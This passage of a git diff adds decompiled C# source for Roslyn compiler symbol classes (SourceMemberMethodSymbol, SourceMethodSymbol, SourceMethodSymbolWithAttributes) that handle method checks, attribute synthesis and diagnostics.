(IsGenericMethod) + { + val = (CallingConvention)(val | 0x10); + } + if (!IsStatic) + { + val = (CallingConvention)(val | 0x20); + } + return val; + } + } + + internal (BlockSyntax blockBody, ArrowExpressionClauseSyntax arrowBody) Bodies + { + get + { + CSharpSyntaxNode syntaxNode = SyntaxNode; + if (!(syntaxNode is BaseMethodDeclarationSyntax baseMethodDeclarationSyntax)) + { + if (!(syntaxNode is AccessorDeclarationSyntax accessorDeclarationSyntax)) + { + if (!(syntaxNode is ArrowExpressionClauseSyntax item)) + { + if (syntaxNode is BlockSyntax item2) + { + return (blockBody: item2, arrowBody: null); + } + return (blockBody: null, arrowBody: null); + } + return (blockBody: null, arrowBody: item); + } + return (blockBody: accessorDeclarationSyntax.Body, arrowBody: accessorDeclarationSyntax.ExpressionBody); + } + return (blockBody: baseMethodDeclarationSyntax.Body, arrowBody: baseMethodDeclarationSyntax.ExpressionBody); + } + } + + public override ImmutableArray Locations => ImmutableArray.Create(_location); + + public override ImmutableArray RefCustomModifiers => ImmutableArray.Empty; + + public sealed override ImmutableArray TypeArgumentsWithAnnotations => GetTypeParametersAsTypeArguments(); + + public sealed override int Arity => TypeParameters.Length; + + public override ImmutableArray ExplicitInterfaceImplementations => ImmutableArray.Empty; + + internal sealed override OverriddenOrHiddenMembersResult OverriddenOrHiddenMembers + { + get + { + LazyMethodChecks(); + if (_lazyOverriddenOrHiddenMembers == null) + { + Interlocked.CompareExchange(ref _lazyOverriddenOrHiddenMembers, this.MakeOverriddenOrHiddenMembers(), null); + } + return _lazyOverriddenOrHiddenMembers; + } + } + + internal sealed override bool RequiresCompletion => true; + + internal bool IsExpressionBodied => flags.IsExpressionBodied; + + public sealed override RefKind RefKind => flags.RefKind; + + public sealed override bool IsVararg => flags.IsVararg; + + internal ImmutableArray SetDiagnostics(ImmutableArray newSet, out bool diagsWritten) + { + diagsWritten = ImmutableInterlocked.InterlockedInitialize(ref _cachedDiagnostics, newSet); + return _cachedDiagnostics; + } + + protected SourceMemberMethodSymbol(NamedTypeSymbol containingType, SyntaxReference syntaxReferenceOpt, Location location, bool isIterator, (DeclarationModifiers declarationModifiers, Flags flags) modifiersAndFlags) + : base(syntaxReferenceOpt, isIterator) + { + _containingType = containingType; + _location = location; + (DeclarationModifiers, flags) = modifiersAndFlags; + } + + protected void CheckEffectiveAccessibility(TypeWithAnnotations returnType, ImmutableArray parameters, BindingDiagnosticBag diagnostics) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Invalid comparison between Unknown and I4 + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Invalid comparison between Unknown and I4 + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Invalid comparison between Unknown and I4 + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + //IL_006f: Invalid comparison between Unknown and I4 + //IL_0072: Unknown result type (might be due to invalid IL or missing references) + //IL_0079: Invalid comparison between Unknown and I4 + //IL_00d9: Unknown result type (might be due to invalid IL or missing references) + if ((int)DeclaredAccessibility <= 1 || (int)MethodKind == 8) + { + return; + } + ErrorCode code = (((int)MethodKind == 2 || (int)MethodKind == 9) ? ErrorCode.ERR_BadVisOpReturn : ErrorCode.ERR_BadVisReturnType); + CompoundUseSiteInfo useSiteInfo = default(CompoundUseSiteInfo); + useSiteInfo._002Ector((BindingDiagnosticBag)(object)diagnostics, ContainingAssembly); + if (!this.IsNoMoreVisibleThan(returnType, ref useSiteInfo)) + { + diagnostics.Add(code, GetFirstLocation(), this, returnType.Type); + } + code = (((int)MethodKind == 2 || (int)MethodKind == 9) ? ErrorCode.ERR_BadVisOpParam : ErrorCode.ERR_BadVisParamType); + ImmutableArray.Enumerator enumerator = parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + if (!current.TypeWithAnnotations.IsAtLeastAsVisibleAs(this, ref useSiteInfo)) + { + diagnostics.Add(code, GetFirstLocation(), this, current.Type); + } + } + ((BindingDiagnosticBag)(object)diagnostics).Add(GetFirstLocation(), useSiteInfo); + } + + protected void CheckFileTypeUsage(TypeWithAnnotations returnType, ImmutableArray parameters, BindingDiagnosticBag diagnostics) + { + if (ContainingType.HasFileLocalTypes()) + { + return; + } + if (returnType.Type.HasFileLocalTypes()) + { + diagnostics.Add(ErrorCode.ERR_FileTypeDisallowedInSignature, GetFirstLocation(), returnType.Type, ContainingType); + } + ImmutableArray.Enumerator enumerator = parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + if (current.Type.HasFileLocalTypes()) + { + diagnostics.Add(ErrorCode.ERR_FileTypeDisallowedInSignature, GetFirstLocation(), current.Type, ContainingType); + } + } + } + + protected static Flags MakeFlags(MethodKind methodKind, RefKind refKind, DeclarationModifiers declarationModifiers, bool returnsVoid, bool returnsVoidIsSet, bool isExpressionBodied, bool isExtensionMethod, bool isNullableAnalysisEnabled, bool isVarArg, bool isExplicitInterfaceImplementation) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return new Flags(methodKind, refKind, declarationModifiers, returnsVoid, returnsVoidIsSet, isExpressionBodied, isExtensionMethod, isNullableAnalysisEnabled, isVarArg, isExplicitInterfaceImplementation); + } + + protected void SetReturnsVoid(bool returnsVoid) + { + flags.SetReturnsVoid(returnsVoid); + } + + protected abstract void MethodChecks(BindingDiagnosticBag diagnostics); + + protected void LazyMethodChecks() + { + if (state.HasComplete(CompletionPart.StartMemberChecks)) + { + return; + } + lock (MethodChecksLockObject) + { + if (state.NotePartComplete(CompletionPart.SynthesizedExplicitImplementations)) + { + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(); + try + { + MethodChecks(instance); + AddDeclarationDiagnostics(instance); + return; + } + finally + { + state.NotePartComplete(CompletionPart.StartMemberChecks); + ((BindingDiagnosticBag)(object)instance).Free(); + } + } + } + } + + protected virtual void LazyAsyncMethodChecks(CancellationToken cancellationToken) + { + state.NotePartComplete(CompletionPart.Members); + state.NotePartComplete(CompletionPart.TypeMembers); + } + + internal override bool IsMetadataNewSlot(bool ignoreInterfaceImplementationChanges = false) + { + if (IsExplicitInterfaceImplementation && _containingType.IsInterface) + { + return false; + } + if (!IsOverride) + { + if (!IsStatic) + { + return IsMetadataVirtual(ignoreInterfaceImplementationChanges); + } + return false; + } + bool warnAmbiguous; + return this.RequiresExplicitOverride(out warnAmbiguous); + } + + internal override bool IsMetadataVirtual(bool ignoreInterfaceImplementationChanges = false) + { + return flags.IsMetadataVirtual(ignoreInterfaceImplementationChanges); + } + + internal void EnsureMetadataVirtual() + { + flags.EnsureMetadataVirtual(); + } + + private Binder TryGetInMethodBinder(BinderFactory binderFactoryOpt = null) + { + CSharpSyntaxNode inMethodSyntaxNode = GetInMethodSyntaxNode(); + if (inMethodSyntaxNode == null) + { + return null; + } + return (binderFactoryOpt ?? DeclaringCompilation.GetBinderFactory(inMethodSyntaxNode.SyntaxTree)).GetBinder((SyntaxNode)(object)inMethodSyntaxNode); + } + + internal abstract ExecutableCodeBinder TryGetBodyBinder(BinderFactory binderFactoryOpt = null, bool ignoreAccessibility = false); + + protected ExecutableCodeBinder TryGetBodyBinderFromSyntax(BinderFactory binderFactoryOpt = null, bool ignoreAccessibility = false) + { + Binder binder = TryGetInMethodBinder(binderFactoryOpt); + if (binder != null) + { + return new ExecutableCodeBinder((SyntaxNode)(object)SyntaxNode, this, binder.WithAdditionalFlags(ignoreAccessibility ? BinderFlags.IgnoreAccessibility : BinderFlags.None)); + } + return null; + } + + public override Location TryGetFirstLocation() + { + return _location; + } + + public override string GetDocumentationCommentXml(CultureInfo preferredCulture = null, bool expandIncludes = false, CancellationToken cancellationToken = default(CancellationToken)) + { + return SourceDocumentationCommentUtils.GetAndCacheDocumentationComment(this, expandIncludes, ref expandIncludes ? ref lazyExpandedDocComment : ref lazyDocComment); + } + + internal sealed override bool TryGetThisParameter(out ParameterSymbol thisParameter) + { + thisParameter = _lazyThisParameter; + if ((object)thisParameter != null || IsStatic) + { + return true; + } + Interlocked.CompareExchange(ref _lazyThisParameter, new ThisParameterSymbol(this), null); + thisParameter = _lazyThisParameter; + return true; + } + + internal sealed override bool HasComplete(CompletionPart part) + { + return state.HasComplete(part); + } + + internal override void ForceComplete(SourceLocation locationOpt, CancellationToken cancellationToken) + { + while (true) + { + cancellationToken.ThrowIfCancellationRequested(); + CompletionPart nextIncompletePart = state.NextIncompletePart; + switch (nextIncompletePart) + { + case CompletionPart.Attributes: + GetAttributes(); + if (!(this is SynthesizedPrimaryConstructor synthesizedPrimaryConstructor)) + { + break; + } + foreach (FieldSymbol backingField in synthesizedPrimaryConstructor.GetBackingFields()) + { + backingField.GetAttributes(); + } + break; + case CompletionPart.ReturnTypeAttributes: + GetReturnTypeAttributes(); + break; + case CompletionPart.Type: + _ = ReturnTypeWithAnnotations; + state.NotePartComplete(CompletionPart.Type); + break; + case CompletionPart.Parameters: + { + ImmutableArray.Enumerator enumerator3 = Parameters.GetEnumerator(); + while (enumerator3.MoveNext()) + { + enumerator3.Current.ForceComplete(locationOpt, cancellationToken); + } + state.NotePartComplete(CompletionPart.Parameters); + break; + } + case CompletionPart.TypeParameters: + { + ImmutableArray.Enumerator enumerator = TypeParameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + enumerator.Current.ForceComplete(locationOpt, cancellationToken); + } + state.NotePartComplete(CompletionPart.TypeParameters); + break; + } + case CompletionPart.Members: + case CompletionPart.TypeMembers: + LazyAsyncMethodChecks(cancellationToken); + break; + case CompletionPart.SynthesizedExplicitImplementations: + case CompletionPart.StartMemberChecks: + { + LazyMethodChecks(); + CompletionPart part = CompletionPart.MethodSymbolAll; + state.SpinWaitComplete(part, cancellationToken); + return; + } + case CompletionPart.None: + return; + default: + state.NotePartComplete(CompletionPart.ImportsAll | CompletionPart.StartInterfaces | CompletionPart.FinishInterfaces | CompletionPart.EnumUnderlyingType | CompletionPart.TypeArguments | CompletionPart.FinishMemberChecks | CompletionPart.MembersCompletedChecksStarted | CompletionPart.MembersCompleted); + break; + } + state.SpinWaitComplete(nextIncompletePart, cancellationToken); + } + } + + protected sealed override void NoteAttributesComplete(bool forReturnType) + { + CompletionPart part = ((!forReturnType) ? CompletionPart.Attributes : CompletionPart.ReturnTypeAttributes); + state.NotePartComplete(part); + } + + internal override void AfterAddingTypeMembersChecks(ConversionsBase conversions, BindingDiagnosticBag diagnostics) + { + base.AfterAddingTypeMembersChecks(conversions, diagnostics); + CSharpCompilation declaringCompilation = DeclaringCompilation; + if (IsDeclaredReadOnly && !ContainingType.IsReadOnly) + { + declaringCompilation.EnsureIsReadOnlyAttributeExists(diagnostics, _location, modifyCompilation: true); + } + if (declaringCompilation.ShouldEmitNullableAttributes(this) && ShouldEmitNullableContextValue(out var _)) + { + declaringCompilation.EnsureNullableContextAttributeExists(diagnostics, _location, modifyCompilation: true); + } + } + + internal override byte? GetLocalNullableContextValue() + { + if (!flags.TryGetNullableContext(out var value)) + { + value = ComputeNullableContextValue(); + flags.SetNullableContext(value); + } + return value; + } + + private byte? ComputeNullableContextValue() + { + CSharpCompilation declaringCompilation = DeclaringCompilation; + if (!declaringCompilation.ShouldEmitNullableAttributes(this)) + { + return null; + } + MostCommonNullableValueBuilder builder = default(MostCommonNullableValueBuilder); + ImmutableArray.Enumerator enumerator = TypeParameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + enumerator.Current.GetCommonNullableValues(declaringCompilation, ref builder); + } + builder.AddValue(ReturnTypeWithAnnotations); + ImmutableArray.Enumerator enumerator2 = Parameters.GetEnumerator(); + while (enumerator2.MoveNext()) + { + enumerator2.Current.GetCommonNullableValues(declaringCompilation, ref builder); + } + return builder.MostCommonValue; + } + + internal override bool IsNullableAnalysisEnabled() + { + return flags.IsNullableAnalysisEnabled; + } + + internal override void AddSynthesizedAttributes(PEModuleBuilder moduleBuilder, ref ArrayBuilder attributes) + { + //IL_00b3: Unknown result type (might be due to invalid IL or missing references) + //IL_00db: Unknown result type (might be due to invalid IL or missing references) + //IL_0103: Unknown result type (might be due to invalid IL or missing references) + base.AddSynthesizedAttributes(moduleBuilder, ref attributes); + if (IsDeclaredReadOnly && !ContainingType.IsReadOnly) + { + Symbol.AddSynthesizedAttribute(ref attributes, moduleBuilder.SynthesizeIsReadOnlyAttribute(this)); + } + CSharpCompilation declaringCompilation = DeclaringCompilation; + if (declaringCompilation.ShouldEmitNullableAttributes(this) && ShouldEmitNullableContextValue(out var value)) + { + Symbol.AddSynthesizedAttribute(ref attributes, moduleBuilder.SynthesizeNullableContextAttribute(this, value)); + } + if (this.RequiresExplicitOverride(out var _)) + { + Symbol.AddSynthesizedAttribute(ref attributes, moduleBuilder.SynthesizePreserveBaseOverridesAttribute()); + } + bool isAsync = IsAsync; + bool isIterator = IsIterator; + if (!isAsync && !isIterator) + { + return; + } + NamedTypeSymbol namedTypeSymbol = default(NamedTypeSymbol); + if (((ModuleCompilationState)((PEModuleBuilder)moduleBuilder).CompilationState).TryGetStateMachineType((MethodSymbol)this, ref namedTypeSymbol)) + { + TypedConstant item = default(TypedConstant); + ((TypedConstant)(ref item))._002Ector((ITypeSymbolInternal)(object)declaringCompilation.GetWellKnownType((WellKnownType)61), (TypedConstantKind)3, (object)namedTypeSymbol.GetUnboundGenericTypeOrSelf()); + if (isAsync && isIterator) + { + Symbol.AddSynthesizedAttribute(ref attributes, declaringCompilation.TrySynthesizeAttribute((WellKnownMember)425, ImmutableArray.Create(item))); + } + else if (isAsync) + { + Symbol.AddSynthesizedAttribute(ref attributes, declaringCompilation.TrySynthesizeAttribute((WellKnownMember)293, ImmutableArray.Create(item))); + } + else if (isIterator) + { + Symbol.AddSynthesizedAttribute(ref attributes, declaringCompilation.TrySynthesizeAttribute((WellKnownMember)294, ImmutableArray.Create(item))); + } + } + if (isAsync && !isIterator) + { + Symbol.AddSynthesizedAttribute(ref attributes, declaringCompilation.SynthesizeDebuggerStepThroughAttribute()); + } + } + + protected void CheckModifiersForBody(Location location, BindingDiagnosticBag diagnostics) + { + if (IsExtern && !IsAbstract) + { + diagnostics.Add(ErrorCode.ERR_ExternHasBody, location, this); + } + else if (IsAbstract && !IsExtern) + { + diagnostics.Add(ErrorCode.ERR_AbstractHasBody, location, this); + } + } + + protected void CheckFeatureAvailabilityAndRuntimeSupport(SyntaxNode declarationSyntax, Location location, bool hasBody, BindingDiagnosticBag diagnostics) + { + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Invalid comparison between Unknown and I4 + if (_containingType.IsInterface) + { + if ((!IsStatic || (int)MethodKind == 14) && (hasBody || IsExplicitInterfaceImplementation)) + { + Binder.CheckFeatureAvailability(declarationSyntax, MessageID.IDS_DefaultInterfaceImplementation, diagnostics, location); + } + if ((((hasBody || IsExtern) && (!IsStatic || !IsVirtual)) || IsExplicitInterfaceImplementation) && !ContainingAssembly.RuntimeSupportsDefaultInterfaceImplementation) + { + diagnostics.Add(ErrorCode.ERR_RuntimeDoesNotSupportDefaultInterfaceImplementation, location); + } + if (((!hasBody && IsAbstract) || IsVirtual) && !IsExplicitInterfaceImplementation && IsStatic && !ContainingAssembly.RuntimeSupportsStaticAbstractMembersInInterfaces) + { + diagnostics.Add(ErrorCode.ERR_RuntimeDoesNotSupportStaticAbstractMembersInInterfaces, location); + } + } + } + + internal override int CalculateLocalSyntaxOffset(int localPosition, SyntaxTree localTree) + { + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + (BlockSyntax blockBody, ArrowExpressionClauseSyntax arrowBody) bodies = Bodies; + BlockSyntax item = bodies.blockBody; + ArrowExpressionClauseSyntax item2 = bodies.arrowBody; + CSharpSyntaxNode cSharpSyntaxNode = null; + TextSpan span; + if (item != null) + { + span = ((SyntaxNode)item).Span; + if (((TextSpan)(ref span)).Contains(localPosition)) + { + cSharpSyntaxNode = item; + goto IL_0047; + } + } + if (item2 != null) + { + span = ((SyntaxNode)item2).Span; + if (((TextSpan)(ref span)).Contains(localPosition)) + { + cSharpSyntaxNode = item2; + goto IL_0047; + } + } + return -1; + IL_0047: + return localPosition - ((SyntaxNode)cSharpSyntaxNode).SpanStart; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceMethodSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceMethodSymbol.cs new file mode 100644 index 0000000..02d6c43 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceMethodSymbol.cs @@ -0,0 +1,75 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class SourceMethodSymbol : MethodSymbol +{ + protected bool AreContainingSymbolLocalsZeroed + { + get + { + if (ContainingSymbol is SourceMethodSymbol sourceMethodSymbol) + { + return sourceMethodSymbol.AreLocalsZeroed; + } + if (ContainingType is SourceMemberContainerTypeSymbol sourceMemberContainerTypeSymbol) + { + return sourceMemberContainerTypeSymbol.AreLocalsZeroed; + } + return true; + } + } + + protected override bool HasSetsRequiredMembersImpl + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Source/SourceMethodSymbol.cs", 83); + } + } + + internal sealed override bool UseUpdatedEscapeRules => ContainingModule.UseUpdatedEscapeRules; + + public abstract ImmutableArray> GetTypeParameterConstraintTypes(); + + public abstract ImmutableArray GetTypeParameterConstraintKinds(); + + protected unsafe static void ReportBadRefToken(TypeSyntax returnTypeSyntax, BindingDiagnosticBag diagnostics) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + if (!((SyntaxNode)returnTypeSyntax).HasErrors) + { + SyntaxToken firstToken = returnTypeSyntax.GetFirstToken(); + diagnostics.Add(ErrorCode.ERR_UnexpectedToken, ((SyntaxToken)(ref firstToken)).GetLocation(), ((object)(*(SyntaxToken*)(&firstToken))/*cast due to constrained. prefix*/).ToString()); + } + } + + internal void ReportAsyncParameterErrors(BindingDiagnosticBag diagnostics, Location location) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray.Enumerator enumerator = Parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + if ((int)current.RefKind != 0) + { + diagnostics.Add(ErrorCode.ERR_BadAsyncArgType, getLocation(current, location)); + } + else if (current.Type.IsPointerOrFunctionPointer()) + { + diagnostics.Add(ErrorCode.ERR_UnsafeAsyncArgType, getLocation(current, location)); + } + else if (current.Type.IsRestrictedType()) + { + diagnostics.Add(ErrorCode.ERR_BadSpecialByRefLocal, getLocation(current, location), current.Type); + } + } + static Location getLocation(ParameterSymbol parameter, Location val) + { + return parameter.TryGetFirstLocation() ?? val; + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceMethodSymbolWithAttributes.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceMethodSymbolWithAttributes.cs new file mode 100644 index 0000000..b4ef16a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceMethodSymbolWithAttributes.cs @@ -0,0 +1,1477 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using System.Reflection; +using System.Runtime.InteropServices; +using System.Threading; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Symbols; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class SourceMethodSymbolWithAttributes : SourceMethodSymbol, IAttributeTargetSymbol +{ + private CustomAttributesBag _lazyCustomAttributesBag; + + private CustomAttributesBag _lazyReturnTypeCustomAttributesBag; + + protected readonly SyntaxReference syntaxReferenceOpt; + + internal virtual Binder? OuterBinder => null; + + internal virtual Binder? WithTypeParametersBinder => null; + + internal SyntaxReference SyntaxRef => syntaxReferenceOpt; + + internal virtual CSharpSyntaxNode SyntaxNode + { + get + { + if (syntaxReferenceOpt != null) + { + return (CSharpSyntaxNode)(object)syntaxReferenceOpt.GetSyntax(default(CancellationToken)); + } + return null; + } + } + + internal SyntaxTree SyntaxTree + { + get + { + if (syntaxReferenceOpt != null) + { + return syntaxReferenceOpt.SyntaxTree; + } + return null; + } + } + + public override ImmutableArray DeclaringSyntaxReferences + { + get + { + if (syntaxReferenceOpt != null) + { + return ImmutableArray.Create(syntaxReferenceOpt); + } + return ImmutableArray.Empty; + } + } + + public override FlowAnalysisAnnotations ReturnTypeFlowAnalysisAnnotations => DecodeReturnTypeAnnotationAttributes(GetDecodedReturnTypeWellKnownAttributeData()); + + public override ImmutableHashSet ReturnNotNullIfParameterNotNull => GetDecodedReturnTypeWellKnownAttributeData()?.NotNullIfParameterNotNull ?? ImmutableHashSet.Empty; + + protected virtual SourceMemberMethodSymbol BoundAttributesSource => null; + + protected virtual IAttributeTargetSymbol AttributeOwner => this; + + protected virtual AttributeLocation AttributeLocationForLoadAndValidateAttributes => AttributeLocation.None; + + IAttributeTargetSymbol IAttributeTargetSymbol.AttributesOwner => AttributeOwner; + + AttributeLocation IAttributeTargetSymbol.DefaultAttributeLocation => AttributeLocation.Method; + + AttributeLocation IAttributeTargetSymbol.AllowedAttributeLocations + { + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Expected I4, but got Unknown + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Invalid comparison between Unknown and I4 + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Invalid comparison between Unknown and I4 + MethodKind methodKind = MethodKind; + switch (methodKind - 1) + { + default: + if ((int)methodKind != 12) + { + if ((int)methodKind != 14) + { + break; + } + goto case 0; + } + goto case 4; + case 0: + case 3: + return AttributeLocation.Method; + case 4: + case 6: + return AttributeLocation.Method | AttributeLocation.Parameter | AttributeLocation.Return; + case 1: + case 2: + case 5: + break; + } + return AttributeLocation.Method | AttributeLocation.Return; + } + } + + public override bool AreLocalsZeroed + { + get + { + MethodWellKnownAttributeData decodedWellKnownAttributeData = GetDecodedWellKnownAttributeData(); + if (decodedWellKnownAttributeData == null || !decodedWellKnownAttributeData.HasSkipLocalsInitAttribute) + { + return base.AreContainingSymbolLocalsZeroed; + } + return false; + } + } + + internal sealed override ObsoleteAttributeData ObsoleteAttributeData + { + get + { + if (ContainingSymbol is SourceMemberContainerTypeSymbol { AnyMemberHasAttributes: false }) + { + return null; + } + CustomAttributesBag lazyCustomAttributesBag = _lazyCustomAttributesBag; + if (lazyCustomAttributesBag != null && lazyCustomAttributesBag.IsEarlyDecodedWellKnownAttributeDataComputed) + { + MethodEarlyWellKnownAttributeData methodEarlyWellKnownAttributeData = (MethodEarlyWellKnownAttributeData)(object)lazyCustomAttributesBag.EarlyDecodedWellKnownAttributeData; + if (methodEarlyWellKnownAttributeData == null) + { + return null; + } + return ((CommonMethodEarlyWellKnownAttributeData)methodEarlyWellKnownAttributeData).ObsoleteAttributeData; + } + if (syntaxReferenceOpt == null) + { + return null; + } + return ObsoleteAttributeData.Uninitialized; + } + } + + internal override ImmutableArray NotNullMembers => GetDecodedWellKnownAttributeData()?.NotNullMembers ?? ImmutableArray.Empty; + + internal override ImmutableArray NotNullWhenTrueMembers => GetDecodedWellKnownAttributeData()?.NotNullWhenTrueMembers ?? ImmutableArray.Empty; + + internal override ImmutableArray NotNullWhenFalseMembers => GetDecodedWellKnownAttributeData()?.NotNullWhenFalseMembers ?? ImmutableArray.Empty; + + public override FlowAnalysisAnnotations FlowAnalysisAnnotations => DecodeFlowAnalysisAttributes(GetDecodedWellKnownAttributeData()); + + internal sealed override bool HasUnscopedRefAttribute => GetDecodedWellKnownAttributeData()?.HasUnscopedRefAttribute ?? false; + + public sealed override bool HidesBaseMethodsByName => false; + + internal sealed override bool HasRuntimeSpecialName + { + get + { + if (!base.HasRuntimeSpecialName) + { + return IsVtableGapInterfaceMethod(); + } + return true; + } + } + + internal override bool HasSpecialName + { + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Expected I4, but got Unknown + MethodKind methodKind = MethodKind; + switch (methodKind - 1) + { + case 0: + case 1: + case 4: + case 6: + case 8: + case 10: + case 11: + case 13: + return true; + default: + { + if (IsVtableGapInterfaceMethod()) + { + return true; + } + MethodWellKnownAttributeData decodedWellKnownAttributeData = GetDecodedWellKnownAttributeData(); + if (decodedWellKnownAttributeData != null) + { + return ((CommonMethodWellKnownAttributeData)decodedWellKnownAttributeData).HasSpecialNameAttribute; + } + return false; + } + } + } + } + + internal sealed override bool IsDirectlyExcludedFromCodeCoverage + { + get + { + MethodWellKnownAttributeData decodedWellKnownAttributeData = GetDecodedWellKnownAttributeData(); + if (decodedWellKnownAttributeData == null) + { + return false; + } + return ((CommonMethodWellKnownAttributeData)decodedWellKnownAttributeData).HasExcludeFromCodeCoverageAttribute; + } + } + + internal override bool RequiresSecurityObject + { + get + { + MethodWellKnownAttributeData decodedWellKnownAttributeData = GetDecodedWellKnownAttributeData(); + if (decodedWellKnownAttributeData != null) + { + return ((CommonMethodWellKnownAttributeData)decodedWellKnownAttributeData).HasDynamicSecurityMethodAttribute; + } + return false; + } + } + + internal override bool HasDeclarativeSecurity + { + get + { + MethodWellKnownAttributeData decodedWellKnownAttributeData = GetDecodedWellKnownAttributeData(); + if (decodedWellKnownAttributeData != null) + { + return ((CommonMethodWellKnownAttributeData)decodedWellKnownAttributeData).HasDeclarativeSecurity; + } + return false; + } + } + + internal override MarshalPseudoCustomAttributeData? ReturnValueMarshallingInformation + { + get + { + ReturnTypeWellKnownAttributeData decodedReturnTypeWellKnownAttributeData = GetDecodedReturnTypeWellKnownAttributeData(); + if (decodedReturnTypeWellKnownAttributeData == null) + { + return null; + } + return ((CommonReturnTypeWellKnownAttributeData)decodedReturnTypeWellKnownAttributeData).MarshallingInformation; + } + } + + internal override MethodImplAttributes ImplementationAttributes + { + get + { + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Invalid comparison between Unknown and I4 + MethodWellKnownAttributeData decodedWellKnownAttributeData = GetDecodedWellKnownAttributeData(); + MethodImplAttributes methodImplAttributes = ((decodedWellKnownAttributeData != null) ? ((CommonMethodWellKnownAttributeData)decodedWellKnownAttributeData).MethodImplAttributes : MethodImplAttributes.IL); + if (ContainingType.IsComImport && (int)MethodKind == 1) + { + methodImplAttributes |= (MethodImplAttributes)4099; + } + return methodImplAttributes; + } + } + + protected SourceMethodSymbolWithAttributes(SyntaxReference syntaxReferenceOpt) + { + this.syntaxReferenceOpt = syntaxReferenceOpt; + } + + protected CSharpSyntaxNode? GetInMethodSyntaxNode() + { + CSharpSyntaxNode syntaxNode = SyntaxNode; + if (!(syntaxNode is ConstructorDeclarationSyntax constructorDeclarationSyntax)) + { + if (!(syntaxNode is BaseMethodDeclarationSyntax baseMethodDeclarationSyntax)) + { + if (!(syntaxNode is AccessorDeclarationSyntax accessorDeclarationSyntax)) + { + if (!(syntaxNode is ArrowExpressionClauseSyntax result)) + { + if (!(syntaxNode is LocalFunctionStatementSyntax localFunctionStatementSyntax)) + { + if (!(syntaxNode is CompilationUnitSyntax)) + { + if (syntaxNode is RecordDeclarationSyntax result2) + { + return result2; + } + if (syntaxNode is ClassDeclarationSyntax result3) + { + return result3; + } + } + else if (this is SynthesizedSimpleProgramEntryPointSymbol synthesizedSimpleProgramEntryPointSymbol) + { + return (CSharpSyntaxNode)(object)synthesizedSimpleProgramEntryPointSymbol.ReturnTypeSyntax; + } + return null; + } + return (CSharpSyntaxNode?)(((object)localFunctionStatementSyntax.Body) ?? ((object)localFunctionStatementSyntax.ExpressionBody)); + } + return result; + } + return (CSharpSyntaxNode?)(((object)accessorDeclarationSyntax.Body) ?? ((object)accessorDeclarationSyntax.ExpressionBody)); + } + return (CSharpSyntaxNode?)(((object)baseMethodDeclarationSyntax.Body) ?? ((object)baseMethodDeclarationSyntax.ExpressionBody)); + } + return (CSharpSyntaxNode?)(constructorDeclarationSyntax.Initializer ?? ((object)constructorDeclarationSyntax.Body) ?? ((object)constructorDeclarationSyntax.ExpressionBody)); + } + + internal virtual OneOrMany> GetAttributeDeclarations() + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return OneOrMany.Create>(default(SyntaxList)); + } + + internal virtual OneOrMany> GetReturnTypeAttributeDeclarations() + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return GetAttributeDeclarations(); + } + + internal MethodEarlyWellKnownAttributeData 